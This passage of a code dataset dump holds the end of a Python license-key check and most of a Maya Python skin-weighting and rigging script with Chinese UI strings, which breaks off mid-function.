auth[\"STATUS\"] == 1:\n k = config['key']\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored(f'Key Authorised [{k}]','green', attrs=[\"bold\"])))\n Menu().base()\n # asyncio.run(Menu().base())\n\n if auth[\"STATUS\"] == 0:\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored(f'Failed to auth key. Closing...','red', attrs=[\"bold\"])))\n config[\"key\"] = \"\"\n with open(\"./data/config.json\",\"w\") as updated:\n json.dump(config, updated)\n time.sleep(3)\n os._exit(0)\n","sub_path":"to-zip/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":38263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"232161203","text":"# coding=gbk\n\nimport maya.OpenMaya as om\nimport maya.cmds as mc\nfrom maya.cmds import *\nimport maya.mel as mm\nimport os,sys,re,math,random\n\n\n\n\ndef lz_sub_CtlToClu(subCtl):\n\tres = []\n\ttar_hide = subCtl+'_hide'\n\ttar_trans = listConnections('%s.t'%tar_hide)\n\ttar_item_split = subCtl.split('_ctl')\n\ttar_item = tar_item_split[0]+tar_item_split[1]\n\n\tif tar_trans:\n\t\tif tar_item in tar_trans:\n\t\t\ttar_trans = tar_item\n\t\telse:\n\t\t\ttar_trans = tar_trans[0]\n\t\t\n\t\tshape = listRelatives(tar_trans,s=1,pa=1)\n\t\tif shape:\n\t\t\tres = tar_trans\n\t\telse:\n\t\t\t\n\t\t\tconstraint = listConnections('%s.rotatePivot'%tar_trans)\n\t\t\tif constraint:\n\t\t\t\tres = listConnections('%s.constraintRotatePivot'%constraint[0])[0]\n\treturn res\t\n\n\n\n\ndef lz_xform(obj,target,isXform=1,ro=0):\n\tobjects = []\n\troos = ['xyz','yzx','zxy','xzy','yxz','zyx']\n\tif isinstance(obj,list) or isinstance(obj,tuple):\n\t\tobjects = obj\n\telse:\n\t\tobjects =[obj]\n\tif isinstance(target,list) or isinstance(target,tuple):\n\t\ttarget_ro = target_r = target_piv = target\n\t\ttarget_roo = xform(obj,q=True,ws=True,roo=1)\n\telse:\n\t\ttarget_ro = xform(target,q=True,ws=True,ro=True)\n\t\ttarget_roo = xform(target,q=True,ws=True,roo=1)\n\t\ttarget_r = getAttr('%s.r'%target)[0]\n\t\ttarget_piv = xform(target,q=True,ws=True,rp=True)\n\tfor o in objects:\n\t\tif not ro:\n\t\t\tif not isXform:\n\t\t\t\tmove(target_piv[0],target_piv[1],target_piv[2],o,rpr=True)\n\t\t\telse:\n\t\t\t\txform(o,ws=True,piv=target_piv)\n\t\telse:\n\t\t\tif not isXform:\n\t\t\t\tsetAttr('%s.rotateOrder'%o,roos.index(target_roo))\n\t\t\t\tsetAttr('%s.r'%o,target_r[0],target_r[1],target_r[2])\n\t\t\telse:\n\t\t\t\tsetAttr('%s.rotateOrder'%o,roos.index(target_roo))\n\t\t\t\txform(o,ro=target_ro,ws=True)\n\treturn objects\n\n\n\ndef lz_clu_findIndex(clu,poly):\n\tgroupParts = listConnections('%s.outputGeometry'%clu)\n\tclu_index = -1\n\tfor index,item in enumerate(groupParts):\n\t\tshp = listRelatives(item,s=1,pa=1)\n\t\tif shp:\n\t\t\tclu_index = index\n\t\t\tbreak\n\t\tall_his = listHistory(item,af=1,ag=1)\n\t\tfor his in all_his:\n\t\t\tif his.find('tweak')!=-1:\n\t\t\t\tpoly_tweak = listConnections('%s.vlist'%his)\n\t\t\t\tif not poly_tweak:\n\t\t\t\t\tpoly_set = listConnections('%s.message'%his)\n\t\t\t\t\tpoly_tweak = listConnections('%s.dagSetMembers'%poly_set[0])\n\t\t\t\tif poly == poly_tweak[0]:\n\t\t\t\t\tclu_index = index\n\t\t\t\t\t\n\t\t\t\t\tbreak\n\t\tif clu_index!=-1:\n\t\t\tbreak\n\t\t\t\n\tplug = listConnections('%s.outputGeometry'%clu,p=1)[index]\n\tclu_index_plug = listConnections(plug,p=1)[0]\n\tclu_index = int(clu_index_plug.split('[')[1].split(']')[0])\t\n\t\n\treturn clu_index\n\n\n\ndef lz_delete(objs,setState=1):\n\tif not objs:\n\t\treturn\n\tif not isinstance(objs,list):\n\t\tobjs = [objs]\t\n\tfor item in objs:\n\t\tif item and objExists(item):\n\t\t\tif setState:\n\t\t\t\tsetAttr('%s.nodeState'%item,2)\n\t\t\tdelete(item)\n\n\n\ndef lz_ls(sl=''):\n\tif sl:\n\t\ttry:\n\t\t\tselect(sl)\n\t\texcept:\n\t\t\tpass\n\tres = ls(sl=1,fl=1)\n\tif not res:\n\t\tres = ['']\n\treturn res\n\n\n\ndef lz_mirrorSelection_getIndex(points,sl):\n\tif not sl:\n\t\treturn 0 \n\tif not isinstance(sl,list):\n\t\tsl = [sl]\n\tpo_splits = []\n\tfor point in sl:\n\t\tif point.find('.')!=-1:\n\t\t\tif sl[0].find('][')!=-1:\n\t\t\t\tpo_splits = point.split('.')[1].split('][')\n\t\t\telse:\n\t\t\t\tpo_splits = [point.split('.')[1]]\n\t\telse:\n\t\t\tpo_splits = [point]\n\t\tpo_splits_len = len(po_splits)\n\t\ttemp_list = []\n\t\tpo_list = []\n\t\tfor item in po_splits:\n\t\t\tpo_all = item.split(':')\n\t\t\tpo_len = len(po_all)\n\t\t\tif po_len!=1:\n\t\t\t\tpoint_match01,point_match02= re.search('(\\d+)',po_all[0]),re.search('(\\d+)',po_all[1])\n\t\t\t\tpoint_start,point_end = int(point_match01.groups()[0]),int(point_match02.groups()[0])\n\t\t\t\tpo_list = range(point_start,point_end+1)\n\t\t\telse:\n\t\t\t\tpoint_match01 = re.search('(\\d+)',po_all[0])\n\t\t\t\tif point_match01:\n\t\t\t\t\tpo_list = [int(point_match01.groups()[0])]\n\t\t\ttemp_list.append(po_list)\n\t\t\n\t\tfor i1 in temp_list[0]:\n\t\t\tif po_splits_len == 1:\n\t\t\t\tpoints.append(i1)\n\t\t\telse:\n\t\t\t\tfor i2 in temp_list[1]:\n\t\t\t\t\tif po_splits_len == 2:\n\t\t\t\t\t\tpoints.append([i1,i2])\n\t\t\t\t\telse:\n\t\t\t\t\t\tfor i3 in temp_list[2]:\n\t\t\t\t\t\t\tpoints.append([i1,i2,i3])\n\n\n\n\ndef lz_cluToJo(trans=[],makeSkin = 0,otherPoly = 0,poly_dup = '' ):\n\ttrans = lz_ls() if not trans else trans\n\tskin_new,base_jo = '',''\n\tjoints_all = []\n\tpoly_dup = poly_dup\n\tfor tran in trans:\n\t\tpo_index1,po_index2 = [],[]\n\t\tif not tran:\n\t\t\tcontinue\n\t\tclu = listConnections('%s.worldMatrix[0]'%tran)\n\t\tif not clu:\n\t\t\tcontinue\n\t\tif isinstance(clu,list):\n\t\t\tclu = clu[0]\n\t\tif objectType(clu) != 'cluster':\n\t\t\tcontinue\n\t\tcount = getAttr('%s.weightList'%clu,s=1)\n\t\tset_clu = \t listConnections('%s.message'%clu)[0]\n\t\tpoly = listConnections('%s.dagSetMembers'%set_clu)[-1]\n\n\t\tselect(tran)\t\n\t\tEditMembershipTool()\n\t\tpoints = lz_ls()\n\t\tsetToolTo('selectSuperContext')\n\t\tpo_real = []\n\t\tfor po in points:\n\t\t\tif po.find(poly)!=-1:\n\t\t\t\tpo_real.append(po)\n\t\t#print poly\t\t\n\t\tlz_mirrorSelection_getIndex(po_index1,po_real)\t\n\t\tclu_index = lz_clu_findIndex(clu,po_real[0].split('.')[0])\t\n\t\tif not otherPoly:\n\t\t\tpoly = po_real[0].split('.')[0]\n\t\telse:\n\t\t\tif not poly_dup:\n\t\t\t\tpoly = duplicate(po_real[0].split('.')[0],n=poly+'_dupPoly')[0]\n\t\t\t\tpoly_dup = poly\n\t\t\telse:\n\t\t\t\tpoly = poly_dup\n\t\tsk = lz_findCluster(poly,type='skinCluster')\n\t\tif not makeSkin:\n\t\t\tif not sk:\n\t\t\t\tlz_warning(' 当前没有蒙皮 !')\n\t\t\t\treturn ['','']\n\t\telif not sk:\n\t\t\tselect(cl=1)\n\t\t\tbase_jo = joint(n='tmp_baseJo#')\n\t\t\tsk = skinCluster(base_jo,poly)[0]\n\n\t\tskin_new = sk\n\t\ttrans = xform(tran,q=1,rp=1,ws=1)\t\n\t\tselect(cl=1)\n\t\tjo = joint(p=trans,n=tran+'_jo')\n\t\tskinCluster(sk,ai= jo,lw = 1,e=1,wt=0) \n\t\tsetAttr('%s.liw'%jo,0)\n\t\tselect (jo)\n\t\tfor index,item in enumerate(po_index1):\n\t\t\tva = getAttr('%s.weightList[%d].weights[%s]'%(clu,clu_index,item))\n\t\t\tskinPercent(sk,'%s.vtx[%s]'%(poly,item),tv=(jo,va))\n\t\tsetAttr('%s.liw'%jo,1)\n\t\tselect (jo)\n\t\tjoints_all.append(jo)\n\treturn [skin_new,base_jo,joints_all,poly_dup]\n\n\n\n\n\ndef lz_pre_simpleMirror(jo,sameParent= 1):\n\tif not jo:\n\t\treturn \n\tif objectType(jo)!='joint':\n\t\treturn\n\tselect(cl=1)\n\tjo_temp = joint(p=[0,0,0])\n\tjo_parent = listRelatives(jo,pa=1,p=1)\n\tparent(jo,jo_temp)\n\tif jo.find('l_')!=-1:\n\t\tmir_jo = mirrorJoint(jo,mirrorYZ=1,mirrorBehavior=1,sr=['l_','r_'])[0]\n\telse:\n\t\tmir_jo = mirrorJoint(jo,mirrorYZ=1,mirrorBehavior=1,sr=['r_','l_'])[0]\n\tif jo_parent:\n\t\tif sameParent:\n\t\t\tparent(mir_jo,jo_parent[0])\n\t\telse:\n\t\t\tparent(mir_jo,w=1)\n\t\tparent(jo,jo_parent[0])\n\telse:\n\t\tparent(mir_jo,w=1)\n\t\tmir_jo = lz_ls()[0]\n\t\tparent(jo,w=1)\n\n\tdelete(jo_temp)\n\tif attributeQuery('children',ex=1,node=mir_jo):\n\t\tchildren = listRelatives(mir_jo,ad=1,pa=1)\n\t\tfor c in children:\n\t\t\tif attributeQuery('child',ex=1,node=c):\n\t\t\t\tlz_connectAttr('%s.children'%mir_jo,'%s.child'%c)\n\treturn mir_jo\n\n\n\n\ndef lz_print(txt = ''):\n\tmm.eval('print \"'+u(txt)+'\"')\n\n\n\ndef u(txt=''):\n\treturn unicode(txt,'gbk')\n\n\n\n\ndef lz_sub_CtlToClu(subCtl):\n\tres = []\n\ttar_hide = subCtl+'_hide'\n\ttar_trans = listConnections('%s.t'%tar_hide)\n\ttar_item_split = subCtl.split('_ctl')\n\ttar_item = tar_item_split[0]+tar_item_split[1]\n\n\tif tar_trans:\n\t\tif tar_item in tar_trans:\n\t\t\ttar_trans = tar_item\n\t\telse:\n\t\t\ttar_trans = tar_trans[0]\n\t\t\n\t\tshape = listRelatives(tar_trans,s=1,pa=1)\n\t\tif shape:\n\t\t\tres = tar_trans\n\t\telse:\n\t\t\t\n\t\t\tconstraint = listConnections('%s.rotatePivot'%tar_trans)\n\t\t\tif constraint:\n\t\t\t\tres = listConnections('%s.constraintRotatePivot'%constraint[0])[0]\n\treturn res\n\n\n\n\ndef lz_warning(txt = ''):\n\tmm.eval('warning \"'+u(txt)+'\"')\n\n\n\n\ndef lz_findCluster(obj,type=''):\n\tglobal lz_skin_skinSys\n\tlz_skin_skinSys = 0\n\tsk = ''\n\thistory ='' \n\tif not type:\n\t\tif lz_skin_skinSys ==0:\n\t\t\ttype = 'skinCluster'\n\t\tif lz_skin_skinSys ==1:\n\t\t\ttype = 'fmSkinCluster'\n\t\tif lz_skin_skinSys ==2:\n\t\t\ttype = 'cMuscleSystem'\t\n\tif obj:\n\t\thistory = listHistory(obj,ag=1,gl=2,pdo=1)\n\tif not history:\n\t\treturn sk\n\n\tfor h in history:\n\t\tt = objectType(h)\n\t\tif t and t==type:\n\t\t\tsk=h\n\t\t\tbreak\n\treturn sk\n\n\n\n\ndef lz_skin_toggleLock(flag):\n\tglobal lz_weight_jo_sort\n\tindexes = textScrollList(\"skin_showList\",q=1,sii=1) if textScrollList(\"skin_showList\",q=1,ex=1) else []\n\tobscured,tool_exist = 1,textScrollList('skinClusterInflList',q=True,ex=True)\n\tif tool_exist:\n\t\tobscured = textScrollList('skinClusterInflList',q=True,io=True)\n\telse:\n\t\tobscured = 1\n\tselection = ls(sl=True)\n\tsuffix ='' if not flag else ' (Hold)'\n\t\n\tif not selection:\n\t\treturn 0\t\n\tpoly = selection[0].split('.')[0]\n\tif objectType(poly) != 'transform':\n\t\tpoly = listRelatives(poly,ni=1,p=1)[0]\n\tif not obscured:\n\t\ttool_allItem = textScrollList('skinClusterInflList',q=True,ai=True)\n\t\ttool_selects = textScrollList('skinClusterInflList',q=True,si=True)\n\t\ttool_res = []\n\t\tfor index,item in enumerate(tool_allItem):\n\t\t\t\titem_raw = item\n\t\t\t\tif item.find(' (Hold)'):\n\t\t\t\t\titem = item.split(' (Hold)')[0]\n\t\t\t\tif tool_selects and (item in tool_selects or item_raw in tool_selects):\n\t\t\t\t\tsetAttr('%s.liw'%item,0)\n\t\t\t\t\ttextScrollList('skinClusterInflList',e=True,rii=index+1)\n\t\t\t\t\ttextScrollList('skinClusterInflList',e=True,ap=[index+1,item])\n\t\t\t\t\ttool_res.append(item)\n\t\t\t\telse:\n\t\t\t\t\tsetAttr('%s.liw'%item,flag)\n\t\t\t\t\ttextScrollList('skinClusterInflList',e=True,rii=index+1)\n\t\t\t\t\ttextScrollList('skinClusterInflList',e=True,ap=[index+1,item+suffix])\n\t\tif tool_res:\t\t\n\t\t\ttextScrollList('skinClusterInflList',e=True,si=tool_res)\n\telse:\n\t\tshape \t= listRelatives(poly,pa=True,s=True)\n\t\tif not shape:\n\t\t\treturn 0\n\t\tcluster = lz_findCluster(poly)\n\t\tif not cluster:\n\t\t\treturn 0\n\t\tif objectType(cluster) == \"fmSkinCluster\":\n\t\t\tobjects = listConnections (\"%s.lockWeights\"%cluster)\n\t\t\tfor obj in objects:\n\t\t\t\tsetAttr('%s.liw'%obj,flag)\n\t\tif objectType(cluster) == \"skinCluster\":\t\n\t\t\tobjects = skinCluster(cluster,q=True,inf=True)\n\t\t\tfor obj in objects:\n\t\t\t\tskinCluster(cluster,e=True,inf = obj,lw=flag)\n\t\tif objectType(cluster) == \"fmSkinCluster\" or objectType(cluster) == \"skinCluster\" and flag == 1 and indexes:\n\t\t\tif indexes:\n\t\t\t\tfor index in indexes:\n\t\t\t\t\tif index == 1:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tsetAttr('%s.liw'%lz_weight_jo_sort[index-2],0)\n\t\tif objectType(cluster) == \"cMuscleSystem\":\n\t\t\tobjects = mm.eval('cMuscleQuery -system \"'+cluster+'\" -mus;')\n\t\t\tfor obj in objects:\n\t\t\t\tmm.eval('cMuscleWeight -system \"'+cluster+'\" -muscle \"'+obj+'\" -wt \"sticky\" -lock '+str(flag));\n\t\t\tif window('cMusclePaintWin',q=True,ex=True):\n\t\t\t\tsled = mm.eval('cMusclePaint_getSelItemsFromList(\"tslMusclePaint\")')\n\t\t\t\tfor item in sled:\n\t\t\t\t\tmus = listRelatives(item,ni=1,s=1,type='cMuscleObject')[0]\n\t\t\t\t\tmm.eval('cMuscleWeight -system \"'+cluster+'\" -muscle \"'+mus+'\" -wt \"sticky\" -lock 0');\n\t\t\t\tmm.eval('cMusclePaint_refreshList \"'+cluster+'\" \"tslMusclePaint\" ;')\n\t\t\n\tlz_skin_UI_update(cal = 0)\n\n\n\n\n\ndef lz_skin_UI_update(cal = 1):\n\tglobal lz_weight_jo\n\tglobal lz_weight_jo_sort\n\tglobal lz_weight_jo_sl\n\tif not textScrollList('skin_showList',q=1,ex=1):\n\t\treturn\n\tif cal:\n\t\tlz_skin_getAverage()\n\ttextScrollList('skin_showList',e=1,ra=1)\n\ttextScrollList('skin_showList',e=1,append=(u(\"影响物名\")+\" \"*28+u(\"是否锁住 \")+u(\"平均权重值\"))) \n\tfor jo in lz_weight_jo_sort:\n\t\tloc_flag = getAttr('%s.liw'%jo)\n\t\tmid_str = \" \"*2+'(HOLD)'+\" \"*6 if loc_flag else \" \"*20\n\t\ttextScrollList('skin_showList',e=1,append=str(lz_weight_jo[jo][0]+mid_str+lz_weight_jo[jo][1])) \n\tif lz_weight_jo_sl:\n\t\texist_list = []\n\t\tlast_item = ''\n\t\ttimes = 0\n\t\tfor item in lz_weight_jo_sl:\n\t\t\tif item in lz_weight_jo_sort:\n\t\t\t\tindex_item = lz_weight_jo_sort.index(item)+2\n\t\t\t\ttextScrollList('skin_showList',e=1,sii=index_item)\n\t\t\t\tlast_item = item\n\t\t\t\ttimes +=1\n\t\tif last_item:\n\t\t\ttextFieldButtonGrp('skin_jointName',e=1,tx = last_item)\n\t\t\tfloatSliderButtonGrp('skin_weight',e=1,value = float(lz_weight_jo[last_item][1]))\n\t\tif times <= 1:\n\t\t\tbutton('skin_set1',e=1,enable =1)\n\t\telse:\n\t\t\tbutton('skin_set1',e=1,enable =0)\n\t\tbutton('skin_set0',e=1,enable =1)\n\n\n\n\n\ndef lz_skin_getAverage():\n\tglobal lz_weight_jo\n\tglobal lz_weight_jo_sort\n\tglobal lz_weight_data_collection\n\tlz_weight_jo_sort = []\n\tlz_weight_jo = {}\n\tlz_weight_data_collection = {}\n\tpoints_st = []\n\tstr_len = 36\n\tpre_return = lz_skin_prepare()\n\tif pre_return[0] == 0:\n\t\treturn\n\tif pre_return[0]==800:\n\t\twindow('lz_skin_window',e=1,title= u('权重辅助工具 (选择点数量超过600,不予显示)'))\n\t\treturn\n\twindow('lz_skin_window',e=1,title= u('权重辅助工具'))\n\tweight = floatSliderButtonGrp('skin_weight',q=True,v=True)\n\tjointName= textFieldButtonGrp('skin_jointName',q=True,tx=True)\n\t\n\tpoly,shape_type,sk,componentV,sl = pre_return[0],pre_return[1],pre_return[2],pre_return[3],pre_return[4]\n\tlz_mirrorSelection_getIndex(points_st,sl)\n\tp_len = len(points_st)\n\t\n\tif objectType(sk) == \"fmSkinCluster\":\n\t\tinfs = listConnections (\"%s.lockWeights\"%sk)\n\t\tfor index,infName in enumerate(infs):\n\t\t\tfor item in points_st:\n\t\t\t\titem_name = \"[%s]\"%item\n\t\t\t\tskin_value = getAttr('%s.userWeightList[%s].userWeights[%s]'%(sk,item,str(index)))\n\t\t\t\tif item_name not in lz_weight_data_collection:\n\t\t\t\t\tlz_weight_data_collection[item_name] = {}\n\t\t\t\tif infName not in lz_weight_data_collection[item_name]:\n\t\t\t\t\tlz_weight_data_collection[item_name][infName] = skin_value\n\t\t\t\tif skin_value and infName not in lz_weight_jo_sort:\n\t\t\t\t\tlz_weight_jo_sort.append(infName)\t\t\n\t\n\tif objectType(sk) == \"skinCluster\":\t\n\t\tinfs= listConnections('%s.matrix'%sk)\n\t\tfor index,infName in enumerate(infs):\n\t\t\tfor item in points_st:\n\t\t\t\titem_name = ''\n\t\t\t\tif shape_type==0 or shape_type==2:\n\t\t\t\t\titem_name = \"[%s]\"%item\n\t\t\t\t\tskin_value = skinPercent(sk,componentV%(poly,int(item)),q=True,v=True,t=infName)\n\t\t\t\telif shape_type== 1:\n\t\t\t\t\titem_name = \"[%s][%s]\"%(item[0],item[1])\n\t\t\t\t\tskin_value = skinPercent(sk,componentV%(poly,int(item[0]),int(item[1])),q=True,v=True,t=infName)\n\t\t\t\telif shape_type== 3:\n\t\t\t\t\titem_name = \"[%s][%s][%s]\"%(item[0],item[1],item[2])\n\t\t\t\t\tskin_value = skinPercent(sk,componentV%(poly,int(item[0]),int(item[1]),int(item[2])),q=True,v=True,t=infName)\n\t\t\t\tif item_name not in lz_weight_data_collection:\n\t\t\t\t\tlz_weight_data_collection[item_name] = {}\n\t\t\t\tif infName not in lz_weight_data_collection[item_name]:\n\t\t\t\t\tlz_weight_data_collection[item_name][infName] = skin_value\n\t\t\t\tif skin_value and infName not in lz_weight_jo_sort:\n\t\t\t\t\tlz_weight_jo_sort.append(infName)\n\t\n\tfor index,infName in enumerate(lz_weight_jo_sort):\n\t\tsum = 0\n\t\tvalue_flag = 0\n\t\tfor item in points_st:\n\t\t\titem_name = ''\n\t\t\tif shape_type==0 or shape_type==2:\n\t\t\t\titem_name = \"[%s]\"%item\n\t\t\telif shape_type==1:\n\t\t\t\titem_name = \"[%s][%s]\"%(item[0],item[1])\n\t\t\telif shape_type==3:\n\t\t\t\titem_name = \"[%s][%s][%s]\"%(item[0],item[1],item[2])\n\t\t\tskin_value = lz_weight_data_collection[item_name][infName]\n\t\t\tloc_flag = getAttr('%s.liw'%infName)\t\t\t\n\t\t\tsum += skin_value\n\t\t\tvalue_flag+=1\n\n\t\t\tif infName not in lz_weight_jo:\n\t\t\t\tname_all,name_len = infName,0.0\n\t\t\t\tfor char in infName:\n\t\t\t\t\tif ord(char)>=65 and ord(char)<=90:\n\t\t\t\t\t\tname_len+=2\n\t\t\t\t\telif ord(char)>=48 and ord(char)<=57:\n\t\t\t\t\t\tname_len+=1.6\n\t\t\t\t\telif char =='|':\n\t\t\t\t\t\tname_len +=.75\n\t\t\t\t\telif char == 'm' or char == 'w' or char =='_':\n\t\t\t\t\t\tname_len +=2.0\n\t\t\t\t\telse:\n\t\t\t\t\t\tname_len+=1.0\n\t\t\t\t#print int(name_len)\n\t\t\t\tif name_len0.5:\n\t\t\t\t\t\tname_all+= \" \"\n\t\t\t\t\t\n\t\t\t\t\t#print (infName+\" \"+str(str_len)+\" \"+str(name_len))\n\t\t\t\telif name_len>str_len:\n\t\t\t\t\tname_all = \"...\"+infName[int(name_len)-str_len+2:]\n\t\t\t\tmid_str = \" \"*2+'(HOLD)'+\" \"*6 if loc_flag else \" \"*20\n\t\t\t\tlz_weight_jo[infName] = [name_all,'']\n\t\t\t\t#print name_all+mid_str+\"AA\"\n\n\t\tsum = sum/value_flag\n\t\tsum_str = str(round(sum,3))\n\t\tif sum_str>5:\n\t\t\tsum_str = sum_str[:5]\n\t\tlz_weight_jo[infName][1] = sum_str\n\t\t\n\tlz_weight_jo_sort.sort()\n\n\n\n\n\n\n\n\n\n\ndef lz_weight(points=[],infName ='',poly='',ap=0,value=0,copy = 0,prune = [],keep=0,tool_change = 0):\n\tglobal lz_weight_jo_sort\n\tglobal lz_skin_pointWeight\n\tglobal lz_weight_data_collection\n\tlz_skin_pointWeight = {}\n\tcomponentV,componentCV= '%s.vtx[%d]','%s.cv[%d][%d]'\n\tpoints_st,infs_real =[],[]\n\tsum=0.0\n\tsk = lz_findCluster(poly)\n\tif not sk:\n\t\treturn []\n\tif objectType(sk) == \"fmSkinCluster\":\n\t\tinfs = listConnections (\"%s.lockWeights\"%sk)\n\n\t\tif infName and points:\n\t\t\tif infName not in infs:\n\t\t\t\treturn []\n\t\t\tindex = infs.index(infName)\n\t\t\tlz_mirrorSelection_getIndex(points_st,points)\n\t\t\tp_len = len(points_st)\n\t\t\tif not ap:\n\t\t\t\tfor item in points_st:\n\t\t\t\t\tsum += getAttr('%s.userWeightList[%s].userWeights[%s]'%(sk,item,str(index)))\n\t\t\t\tsum = sum/p_len\n\t\t\telse:\n\t\t\t\tsetAttr('%s.liw'%infName,0)\n\t\t\t\tfor item in points_st:\n\t\t\t\t\tsetAttr('%s.userWeightList[%s].userWeights[%s]'%(sk,item,str(index)),value)\n\t\t\t\t#setToolTo('selectSuperContext')\n\t\t\t\tif tool_change:\n\t\t\t\t\tmm.eval('artAttrFmSkinToolScript(4)')\n\t\t\t\t#refresh()\n\n\t\tif not points and infName and poly:\n\t\t\tif infName not in infs:\n\t\t\t\treturn []\n\t\t\tindex = infs.index(infName)\n\t\t\tpoly_shape = listRelatives(poly,s=1,pa=1)[0]\n\t\t\tvrt_len = getAttr('%s.vrts'%poly_shape,s=True)\n\t\t\tfor item in range(vrt_len):\n\t\t\t\tvalue = getAttr('%s.userWeightList[%s].userWeights[%s]'%(sk,item,str(index)))\n\t\t\t\tif value>=0.001:\n\t\t\t\t\tpoints.append(componentV%(poly,item))\n\t\t\tselect(points+[poly])\n\t\t\tsetToolTo(\"selectSuperContext\")\n\t\t\thilite(poly)\n\t\t\t#mm.eval('doMenuComponentSelection(\"'+poly+'\", \"vertex\");')\n\t\t\t\n\t\tif copy ==1:\n\t\t\tlz_skin_pointWeight = {}\n\t\t\tlz_mirrorSelection_getIndex(points_st,points)\n\t\t\tfor index,tar in enumerate(infs):\n\t\t\t\tvalue = getAttr('%s.userWeightList[%s].userWeights[%s]'%(sk,points_st[0],str(index)))\n\t\t\t\tif value:\n\t\t\t\t\tlz_skin_pointWeight[tar] = value\n\t\tif copy ==2:\n\t\t\tlz_skin_toggleLock(0)\n\t\t\tlz_mirrorSelection_getIndex(points_st,points)\n\t\t\ttargets = []\n\t\t\tfor index,tar in enumerate(infs):\n\t\t\t\tvalue = getAttr('%s.userWeightList[%s].userWeights[%s]'%(sk,points_st[0],str(index)))\n\t\t\t\tif tar not in lz_skin_pointWeight:\n\t\t\t\t\ttargets.append(tar)\n\t\t\tfor index,item in enumerate(lz_skin_pointWeight):\n\t\t\t\tinf_index = infs.index(item)\n\t\t\t\tfor sub_item in points_st:\n\t\t\t\t\tsetAttr('%s.userWeightList[%s].userWeights[%s]'%(sk,sub_item,inf_index),lz_skin_pointWeight[item])\n\t\t\t\tsetAttr('%s.liw'%item,1)\n\t\t\tfor index,item in enumerate(targets):\n\t\t\t\tinf_index = infs.index(item)\n\t\t\t\tfor sub_item in points_st:\n\t\t\t\t\tsetAttr('%s.userWeightList[%s].userWeights[%s]'%(sk,sub_item,inf_index),0)\n\t\t\t\tsetAttr('%s.liw'%item,1)\n\t\t\tlz_skin_toggleLock(0)\n\n\tif objectType(sk) == \"skinCluster\":\n\t\ttargets= listConnections('%s.matrix'%sk)\n\t\tif infName and points:\n\t\t\tp_len = len(points)\n\t\t\tif infName not in targets:\n\t\t\t\treturn []\n\t\t\tif not ap:\n\t\t\t\tfor point in points:\n\t\t\t\t\tsum +=skinPercent(sk,point,q=True,v=True,t=infName)\n\t\t\t\tsum = sum/p_len\n\t\t\telse:\n\t\t\t\tsetAttr('%s.liw'%infName,0)\n\t\t\t\tfor p in points:\n\t\t\t\t\tskinPercent(sk,p,tv=(infName,value))\n\t\t\t\tif tool_change:\t\n\t\t\t\t\tmm.eval('ArtPaintSkinWeightsTool;')\n\t\tif not points and infName and poly:\n\t\t\tpoly_shape = listRelatives(poly,s=1,pa=1)[0]\n\t\t\tif infName not in targets:\n\t\t\t\treturn []\n\t\t\tif objectType(poly_shape) ==\"mesh\":\n\t\t\t\tvrt_len = getAttr('%s.vrts'%poly_shape,s=True)\n\t\t\t\tfor point in range(vrt_len):\n\t\t\t\t\tvalue =skinPercent(sk,componentV%(poly,point),q=True,v=True,t=infName)\n\t\t\t\t\tif value>=0.001:\n\t\t\t\t\t\tpoints.append(componentV%(poly,point))\n\t\t\t\tselect(points+[poly])\n\t\t\t\tsetToolTo(\"selectSuperContext\")\n\t\t\t\thilite(poly)\n\t\t\telse:\n\t\t\t\tdegreeU = getAttr('%s.degreeU'%poly_shape)\n\t\t\t\tdegreeV = getAttr('%s.degreeV'%poly_shape)\n\t\t\t\tspanU = getAttr('%s.spansU'%poly_shape) + degreeU \n\t\t\t\tspanV = getAttr('%s.spansV'%poly_shape) +degreeV \n\t\t\t\tfor item1 in range(spanU):\n\t\t\t\t\tfor item2 in range(spanV):\n\t\t\t\t\t\tvalue =skinPercent(sk,componentCV%(poly,item1,item2),q=True,v=True,t=infName)\n\t\t\t\t\t\tif value>0:\n\t\t\t\t\t\t\tpoints.append(componentCV%(poly,item1,item2))\n\t\t\t\tselect(points+[poly])\n\t\t\t\tsetToolTo(\"selectSuperContext\")\n\t\t\t\tmm.eval('doMenuComponentSelection(\"'+poly+'\", \"controlVertex\");updateObjectSelectionMasks;updateComponentSelectionMasks;')\n\t\tif copy ==1:\n\t\t\tlz_skin_pointWeight ={}\n\t\t\tfor tar in targets:\n\t\t\t\tvalue = skinPercent(sk,points,t=tar,q=True)\n\t\t\t\tif value:\n\t\t\t\t\tlz_skin_pointWeight[tar] = value\n\t\tif copy ==2:\n\t\t\tlz_skin_toggleLock(0)\n\t\t\t\n\t\t\tfor index,item in enumerate(lz_skin_pointWeight):\n\t\t\t\tif index:\n\t\t\t\t\tskinPercent(sk,points,tv=[item,lz_skin_pointWeight[item]])\n\t\t\t\t\tsetAttr('%s.liw'%item,1)\n\t\t\t\telse:\n\t\t\t\t\tif lz_skin_pointWeight[item] !=1:\n\t\t\t\t\t\tskinPercent(sk,points,tv=[item,.5])\n\t\t\t\t\t\ttargets= skinCluster(sk,wi=1,q=1)\n\t\t\t\t\t\tfor tar in targets:\n\t\t\t\t\t\t\tif tar !=item:\n\t\t\t\t\t\t\t\tskinPercent(sk,points,tv=[tar,0])\n\t\t\t\t\t\t\t\tsetAttr('%s.liw'%tar,1)\n\t\t\t\t\t\tlz_skin_toggleLock(0)\n\t\t\t\t\telse:\n\t\t\t\t\t\tskinPercent(sk,points,tv=[item,1])\n\t\t\tlz_skin_toggleLock(0)\n\t\tif prune and poly :\n\t\t\tpoly_shape = listRelatives(poly,s=1,pa=1)[0]\n\t\t\tprogressWindow(title='Prune Weights ...'\n\t\t\t\t\t\t\t\t,progress=0\n\t\t\t\t\t\t\t\t,status='percent: 0%'\n\t\t\t\t\t\t\t\t,isInterruptable=1)\n\t\t\tif objectType(poly_shape) ==\"mesh\":\n\t\t\t\tvrt_len = getAttr('%s.vrts'%poly_shape,s=True)\n\t\t\t\tpoints_all = range(vrt_len) \n\t\t\t\tpoints_st = []\n\t\t\t\tif points:\n\t\t\t\t\tlz_mirrorSelection_getIndex(points_st,points)\n\t\t\t\t\tif points_st[0] !='':\n\t\t\t\t\t\tpoints_all = points_st\n\t\t\t\ttargets= lz_weight_jo_sort\n\t\t\t\tpercent_v = 100.0/len(points_all)\n\t\t\t\tfor index,point in 